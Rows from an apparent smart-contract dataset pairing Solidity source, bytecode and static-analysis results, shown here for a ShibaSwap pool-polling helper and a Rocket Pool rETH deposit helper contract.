uint256(reserve0UniV2).mul(1e18).div(reserve1UniV2); } } else if (reserve0Sushi > reserve0Shiba || reserve1Sushi > reserve1Shiba) { if (pairSushi.token0() == weth) { eth_rate = uint256(reserve1Sushi).mul(1e18).div(reserve0Sushi); } else { eth_rate = uint256(reserve0Sushi).mul(1e18).div(reserve1Sushi); } } else { if (pairShiba.token0() == weth) { eth_rate = uint256(reserve1Shiba).mul(1e18).div(reserve0Shiba); } else { eth_rate = uint256(reserve0Shiba).mul(1e18).div(reserve1Shiba); } } } return eth_rate; } struct UserPoolInfo { uint256 pid; uint256 balance; // Balance of pool tokens uint256 totalSupply; // Token staked lp tokens uint256 lpBalance; // Balance of lp tokens not staked uint256 lpTotalSupply; // TotalSupply of lp tokens uint256 lpAllowance; // LP tokens approved for TopDog uint256 reserve0; uint256 reserve1; uint256 token0rate; uint256 token1rate; uint256 rewardDebt; uint256 pending; // Pending BONE } function pollPools(address who, uint256[] calldata pids) public view returns(UserPoolInfo[] memory) { UserPoolInfo[] memory pools = new UserPoolInfo[](pids.length); for (uint256 i = 0; i < pids.length; i++) { (uint256 amount,) = topdog.userInfo(pids[i], who); pools[i].balance = amount; pools[i].pending = topdog.pendingBone(pids[i], who); (address lpToken,,,) = topdog.poolInfo(pids[i]); pools[i].pid = pids[i]; IPair uniV2 = IPair(lpToken); pools[i].totalSupply = uniV2.balanceOf(address(topdog)); pools[i].lpAllowance = uniV2.allowance(who, address(topdog)); pools[i].lpBalance = uniV2.balanceOf(who); pools[i].lpTotalSupply = uniV2.totalSupply(); pools[i].token0rate = getETHRate(uniV2.token0()); pools[i].token1rate = getETHRate(uniV2.token1()); (uint112 reserve0, uint112 reserve1,) = uniV2.getReserves(); pools[i].reserve0 = reserve0; pools[i].reserve1 = reserve1; } return pools; } }
0x608060405234801561001057600080fd5b50600436106100675760003560e01c80635ec54659116100505780635ec54659146100b65780635f2bf94f146100d6578063ac6091f8146100f657610067565b80632952dde81461006c5780633009f41414610096575b600080fd5b61007f61007a366004611e75565b610116565b60405161008d92919061213a565b60405180910390f35b6100a96100a4366004611e23565b61051c565b60405161008d919061208e565b6100c96100c4366004611d98565b610c21565b60405161008d9190612166565b6100e96100e4366004611dd0565b6113c7565b60405161008d9190611fe4565b610109610104366004611e23565b6117db565b60405161008d9190612074565b61011e611c55565b6060610128611c55565b60008054906101000a90046001600160a01b03166001600160a01b03166317caf6f16040518163ffffffff1660e01b815260040160206040518083038186803b15801561017457600080fd5b505afa158015610188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ac9190611f09565b815260008054604080517f081e3eda00000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169163081e3eda91600480820192602092909190829003018186803b15801561020d57600080fd5b505afa158015610221573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102459190611f09565b60208301819052905060608567ffffffffffffffff8111801561026757600080fd5b506040519080825280602002602001820160405280156102a157816020015b61028e611c6f565b8152602001906001900390816102865790505b50905060005b8681101561050c578787828181106102bb57fe5b905060200201358282815181106102ce57fe5b6020908102919091010151526000805481906001600160a01b0316631526fe278b8b868181106102fa57fe5b905060200201356040518263ffffffff1660e01b815260040161031d9190612166565b60806040518083038186803b15801561033557600080fd5b505afa158015610349573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036d9190611e37565b50509150915060008290508085858151811061038557fe5b6020026020010151602001906001600160a01b031690816001600160a01b031681525050818585815181106103b657fe5b60200260200101516040018181525050806001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156103ff57600080fd5b505afa158015610413573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104379190611db4565b85858151811061044357fe5b6020026020010151606001906001600160a01b031690816001600160a01b031681525050806001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156104a057600080fd5b505afa1580156104b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d89190611db4565b8585815181106104e457fe5b60209081029190910101516001600160a01b03919091166080909101525050506001016102a7565b50919350909150505b9250929050565b6060808267ffffffffffffffff8111801561053657600080fd5b5060405190808252806020026020018201604052801561057057816020015b61055d611c9d565b8152602001906001900390816105555790505b50905060005b83811015610c1857600080546001600160a01b03166393f1a40b87878581811061059c57fe5b90506020020135896040518363ffffffff1660e01b81526004016105c192919061216f565b604080518083038186803b1580156105d857600080fd5b505afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190611f21565b5090508083838151811061062057fe5b60209081029190910181015101526000546001600160a01b03166374849c5387878581811061064b57fe5b90506020020135896040518363ffffffff1660e01b815260040161067092919061216f565b60206040518083038186803b15801561068857600080fd5b505afa15801561069c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c09190611f09565b8383815181106106cc57fe5b60209081029190910101516101600152600080546001600160a01b0316631526fe278888868181106106fa57fe5b905060200201356040518263ffffffff1660e01b815260040161071d9190612166565b60806040518083038186803b15801561073557600080fd5b505afa158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d9190611e37565b505050905086868481811061077e57fe5b9050602002013584848151811061079157fe5b6020908102919091010151526000546040517f70a0823100000000000000000000000000000000000000000000000000000000815282916001600160a01b03808416926370a08231926107e8921690600401611fb6565b60206040518083038186803b15801561080057600080fd5b505afa158015610814573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108389190611f09565b85858151811061084457fe5b602090810291909101015160409081019190915260005490517fdd62ed3e0000000000000000000000000000000000000000000000000000000081526001600160a01b038084169263dd62ed3e926108a2928e921690600401611fca565b60206040518083038186803b1580156108ba57600080fd5b505afa1580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f29190611f09565b8585815181106108fe57fe5b602090810291909101015160a001526040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b038216906370a0823190610952908c90600401611fb6565b60206040518083038186803b15801561096a57600080fd5b505afa15801561097e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a29190611f09565b8585815181106109ae57fe5b60200260200101516060018181525050806001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109f757600080fd5b505afa158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2f9190611f09565b858581518110610a3b57fe5b60200260200101516080018181525050610abf816001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8757600080fd5b505afa158015610a9b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100c49190611db4565b858581518110610acb57fe5b6020026020010151610100018181525050610b18816001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8757600080fd5b858581518110610b2457fe5b6020026020010151610120018181525050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610b7157600080fd5b505afa158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba99190611eb5565b5091509150816dffffffffffffffffffffffffffff16878781518110610bcb57fe5b602002602001015160c0018181525050806dffffffffffffffffffffffffffff16878781518110610bf857fe5b602090810291909101015160e00152505060019093019250610576915050565b50949350505050565b600454600090670de0b6b3a7640000906001600160a01b038481169116146113bf57600154600480546040517fe6a43905000000000000000000000000000000000000000000000000000000008152600093849384936001600160a01b039283169363e6a4390593610c99938c939091169101611fca565b60206040518083038186803b158015610cb157600080fd5b505afa158015610cc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce99190611db4565b600254600480546040517fe6a439050000000000000000000000000000000000000000000000000000000081529396506001600160a01b039283169363e6a4390593610d3b938c939091169101611fca565b60206040518083038186803b158015610d5357600080fd5b505afa158015610d67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8b9190611db4565b600354600480546040517fe6a439050000000000000000000000000000000000000000000000000000000081529395506001600160a01b039283169363e6a4390593610ddd938c939091169101611fca565b60206040518083038186803b158015610df557600080fd5b505afa158015610e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2d9190611db4565b90506001600160a01b038316158015610e4d57506001600160a01b038216155b8015610e6057506001600160a01b038116155b15610e725760009450505050506113c2565b600080808080806001600160a01b03891615610f0057886001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610ec157600080fd5b505afa158015610ed5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef99190611eb5565b5090965094505b6001600160a01b03881615610f8757876001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610f4857600080fd5b505afa158015610f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f809190611eb5565b5090945092505b6001600160a01b0387161561100e57866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610fcf57600080fd5b505afa158015610fe3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110079190611eb5565b5090925090505b6001600160a01b03871615806110435750816dffffffffffffffffffffffffffff16866dffffffffffffffffffffffffffff16115b8061106d5750806dffffffffffffffffffffffffffff16856dffffffffffffffffffffffffffff16115b1561117a57600460009054906101000a90046001600160a01b03166001600160a01b0316896001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ca57600080fd5b505afa1580156110de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111029190611db4565b6001600160a01b03161415611148576111416dffffffffffffffffffffffffffff8088169061113b908816670de0b6b3a7640000611c03565b90611c33565b9950611175565b6111726dffffffffffffffffffffffffffff8087169061113b908916670de0b6b3a7640000611c03565b99505b6113b5565b816dffffffffffffffffffffffffffff16846dffffffffffffffffffffffffffff1611806111c75750806dffffffffffffffffffffffffffff16836dffffffffffffffffffffffffffff16115b156112bf57600460009054906101000a90046001600160a01b03166001600160a01b0316886001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561122457600080fd5b505afa158015611238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125c9190611db4565b6001600160a01b03161415611295576111416dffffffffffffffffffffffffffff8086169061113b908616670de0b6b3a7640000611c03565b6111726dffffffffffffffffffffffffffff8085169061113b908716670de0b6b3a7640000611c03565b600460009054906101000a90046001600160a01b03166001600160a01b0316876001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561131757600080fd5b505afa15801561132b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134f9190611db4565b6001600160a01b03161415611388576111726dffffffffffffffffffffffffffff8084169061113b908416670de0b6b3a7640000611c03565b6113b26dffffffffffffffffffffffffffff8083169061113b908516670de0b6b3a7640000611c03565b99505b5050505050505050505b90505b919050565b6060808267ffffffffffffffff811180156113e157600080fd5b5060405190808252806020026020018201604052801561141b57816020015b611408611cfe565b8152602001906001900390816114005790505b50905060005b83811015610c1857600085858381811061143757fe5b905060200201602081019061144c9190611d98565b90508083838151811061145b57fe5b6020026020010151600001906001600160a01b031690816001600160a01b031681525050806001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156114b857600080fd5b505afa1580156114cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f09190611db4565b8383815181106114fc57fe5b6020026020010151602001906001600160a01b031690816001600160a01b031681525050806001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561155957600080fd5b505afa15801561156d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115919190611db4565b83838151811061159d57fe5b6020026020010151604001906001600160a01b031690816001600160a01b031681525050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156115fd57600080fd5b505afa158015611611573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116359190611eb5565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691508185858151811061166757fe5b602002602001015160600181815250508085858151811061168457fe5b6020908102919091010151608001526040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b038416906370a08231906116d8908c90600401611fb6565b60206040518083038186803b1580156116f057600080fd5b505afa158015611704573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117289190611f09565b85858151811061173457fe5b602002602001015160c0018181525050826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561177d57600080fd5b505afa158015611791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b59190611f09565b8585815181106117c157fe5b602090810291909101015160a00152505050600101611421565b60606000805b8381101561189457600080546001600160a01b03166393f1a40b87878581811061180757fe5b90506020020135896040518363ffffffff1660e01b815260040161182c92919061216f565b604080518083038186803b15801561184357600080fd5b505afa158015611857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187b9190611f21565b509050801561188b576001909201915b506001016117e1565b5060608167ffffffffffffffff811180156118ae57600080fd5b506040519080825280602002602001820160405280156118e857816020015b6118d5611c6f565b8152602001906001900390816118cd5790505b5090506000915060005b84811015611bf957600080546001600160a01b03166393f1a40b88888581811061191857fe5b905060200201358a6040518363ffffffff1660e01b815260040161193d92919061216f565b604080518083038186803b15801561195457600080fd5b505afa158015611968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198c9190611f21565b5090508015611bf0578686838181106119a157fe5b905060200201358385815181106119b457fe5b6020908102919091010151526000805481906001600160a01b0316631526fe278a8a878181106119e057fe5b905060200201356040518263ffffffff1660e01b8152600401611a039190612166565b60806040518083038186803b158015611a1b57600080fd5b505afa158015611a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a539190611e37565b505091509150600082905080868881518110611a6b57fe5b6020026020010151602001906001600160a01b031690816001600160a01b03168152505081868881518110611a9c57fe5b60200260200101516040018181525050806001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae557600080fd5b505afa158015611af9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1d9190611db4565b868881518110611b2957fe5b6020026020010151606001906001600160a01b031690816001600160a01b031681525050806001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015611b8657600080fd5b505afa158015611b9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bbe9190611db4565b868881518110611bca57fe5b60209081029190910101516001600160a01b039091166080909101525050600190940193505b506001016118f2565b5095945050505050565b600082611c1257506000611c2d565b82820282848281611c1f57fe5b0414611c2a57600080fd5b90505b92915050565b6000808211611c4157600080fd5b6000828481611c4c57fe5b04949350505050565b604051806040016040528060008152602001600081525090565b6040805160a08101825260008082526020820181905291810182905260608101829052608081019190915290565b6040518061018001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6040518060e0016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081525090565b60008083601f840112611d67578182fd5b50813567ffffffffffffffff811115611d7e578182fd5b602083019150836020808302850101111561051557600080fd5b600060208284031215611da9578081fd5b8135611c2a81612186565b600060208284031215611dc5578081fd5b8151611c2a81612186565b600080600060408486031215611de4578182fd5b8335611def81612186565b9250602084013567ffffffffffffffff811115611e0a578283fd5b611e1686828701611d56565b9497909650939450505050565b600080600060408486031215611de4578283fd5b60008060008060808587031215611e4c578081fd5b8451611e5781612186565b60208601516040870151606090970151919890975090945092505050565b60008060208385031215611e87578182fd5b823567ffffffffffffffff811115611e9d578283fd5b611ea985828601611d56565b90969095509350505050565b600080600060608486031215611ec9578283fd5b8351611ed48161219e565b6020850151909350611ee58161219e565b604085015190925063ffffffff81168114611efe578182fd5b809150509250925092565b600060208284031215611f1a578081fd5b5051919050565b60008060408385031215611f33578182fd5b505080516020909101519092909150565b6000815180845260208085019450808401835b83811015611fab57815180518852838101516001600160a01b03908116858a0152604080830151908a01526060808301518216908a0152608091820151169088015260a09096019590820190600101611f57565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b602080825282518282018190526000919060409081850190868401855b8281101561206757815180516001600160a01b03908116865287820151811688870152868201511686860152606080820151908601526080808201519086015260a0808201519086015260c0908101519085015260e09093019290850190600101612001565b5091979650505050505050565b6000602082526120876020830184611f44565b9392505050565b602080825282518282018190526000919060409081850190868401855b828110156120675781518051855286810151878601528581015186860152606080820151908601526080808201519086015260a0808201519086015260c0808201519086015260e08082015190860152610100808201519086015261012080820151908601526101408082015190860152610160908101519085015261018090930192908501906001016120ab565b600083518252602084015160208301526060604083015261215e6060830184611f44565b949350505050565b90815260200190565b9182526001600160a01b0316602082015260400190565b6001600160a01b038116811461219b57600080fd5b50565b6dffffffffffffffffffffffffffff8116811461219b57600080fdfea2646970667358221220b4466203d2107fd188378cdef161e0e8234c9134893326087c38ad6d7e768c9d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,387
0x17fb1527c7b5acbe3bb3f793e1812139f8e754a4
/** *Submitted for verification at Etherscan.io on 2022-03-11 */ // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Part: IRocketPool interface IRocketPool { function getBalance() external view returns (uint256); function getMaximumDepositPoolSize() external view returns (uint256); function getAddress(bytes32 _key) external view returns (address); function getUint(bytes32 _key) external view returns (uint256); } // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: RocketPoolHelper contract RocketPoolHelper { using SafeMath for uint256; using Address for address; IRocketPool internal constant rocketStorage = IRocketPool(0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46); ///@notice Check if a user is able to transfer their rETH. function isRethFree(address _user) public view returns (bool) { // Check which block the user's last deposit was bytes32 key = keccak256(abi.encodePacked("user.deposit.block", _user)); uint256 lastDepositBlock = rocketStorage.getUint(key); if (lastDepositBlock > 0) { // Ensure enough blocks have passed uint256 depositDelay = rocketStorage.getUint( keccak256( abi.encodePacked( keccak256("dao.protocol.setting.network"), "network.reth.deposit.delay" ) ) ); uint256 blocksPassed = block.number.sub(lastDepositBlock); return blocksPassed > depositDelay; } else { return true; // true if we haven't deposited } // require(blocksPassed > depositDelay, "Not enough time has passed since deposit"); } ///@notice Check to see if the rETH pool can accept a specified amount of ETH to deposit. function rEthCanAcceptDeposit(uint256 _ethAmount) public view returns (bool) { IRocketPool rocketDAOProtocolSettingsDeposit = IRocketPool(getRPLContract("rocketDAOProtocolSettingsDeposit")); IRocketPool rocketDepositPool = IRocketPool(getRPLContract("rocketDepositPool")); uint256 maxAmount = rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize().sub( rocketDepositPool.getBalance() ); // this contains logic to check if there is space to mint rETH from the amount of ETH we have to claim return maxAmount > _ethAmount; } ///@notice Pull our most current address for the rETH deposit address. function getRocketDepositPoolAddress() public view returns (address) { return getRPLContract("rocketDepositPool"); } function getRPLContract(string memory _contractName) internal view returns (address) { return rocketStorage.getAddress( keccak256(abi.encodePacked("contract.address", _contractName)) ); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806364b487c4146100465780639c7bc92a1461006f578063cc31fc6214610082575b600080fd5b610059610054366004610575565b610097565b6040516100669190610658565b60405180910390f35b61005961007d36600461053d565b61020a565b61008a6103c8565b6040516100669190610644565b6000806100d86040518060400160405280602081526020017f726f636b657444414f50726f746f636f6c53657474696e67734465706f736974815250610401565b9050600061010e604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b815250610401565b905060006101fd826001600160a01b03166312065fe06040518163ffffffff1660e01b815260040160206040518083038186803b15801561014e57600080fd5b505afa158015610162573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610186919061058d565b846001600160a01b031663fd6ce89e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101bf57600080fd5b505afa1580156101d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101f7919061058d565b906104bf565b851093505050505b919050565b6000808260405160200161021e91906105d4565b60408051601f1981840301815290829052805160209091012063bd02d0f560e01b82529150600090731d8f8f00cfa6758d7be78336684788fb0ee0fa469063bd02d0f590610270908590600401610663565b60206040518083038186803b15801561028857600080fd5b505afa15801561029c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c0919061058d565b905080156103bd576000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b031663bd02d0f57f7cb36cfba78818e097a3d983f102f9107317663854a5d185ea320a1e1a7da21560405160200161031e91906105a5565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016103509190610663565b60206040518083038186803b15801561036857600080fd5b505afa15801561037c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a0919061058d565b905060006103ae43846104bf565b91909111935061020592505050565b600192505050610205565b60006103fc604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b815250610401565b905090565b6000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b03166321f8a72183604051602001610437919061060c565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016104699190610663565b60206040518083038186803b15801561048157600080fd5b505afa158015610495573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b99190610559565b92915050565b600061050183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610508565b9392505050565b600081848411156105355760405162461bcd60e51b815260040161052c919061066c565b60405180910390fd5b505050900390565b60006020828403121561054e578081fd5b8135610501816106cf565b60006020828403121561056a578081fd5b8151610501816106cf565b600060208284031215610586578081fd5b5035919050565b60006020828403121561059e578081fd5b5051919050565b9081527f6e6574776f726b2e726574682e6465706f7369742e64656c61790000000000006020820152603a0190565b71757365722e6465706f7369742e626c6f636b60701b815260609190911b6bffffffffffffffffffffffff1916601282015260260190565b60006f636f6e74726163742e6164647265737360801b8252825161063781601085016020870161069f565b9190910160100192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b600060208252825180602084015261068b81604085016020870161069f565b601f01601f19169190910160400192915050565b60005b838110156106ba5781810151838201526020016106a2565b838111156106c9576000848401525b50505050565b6001600160a01b03811681146106e457600080fd5b5056fea2646970667358221220d1ab68057be76c3f0be5b8af8738b9a8135dfacf49652732b0581d266f5a469664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,388
0x8ee04e1e9400d4e2091ff3a46509e246e2f34542
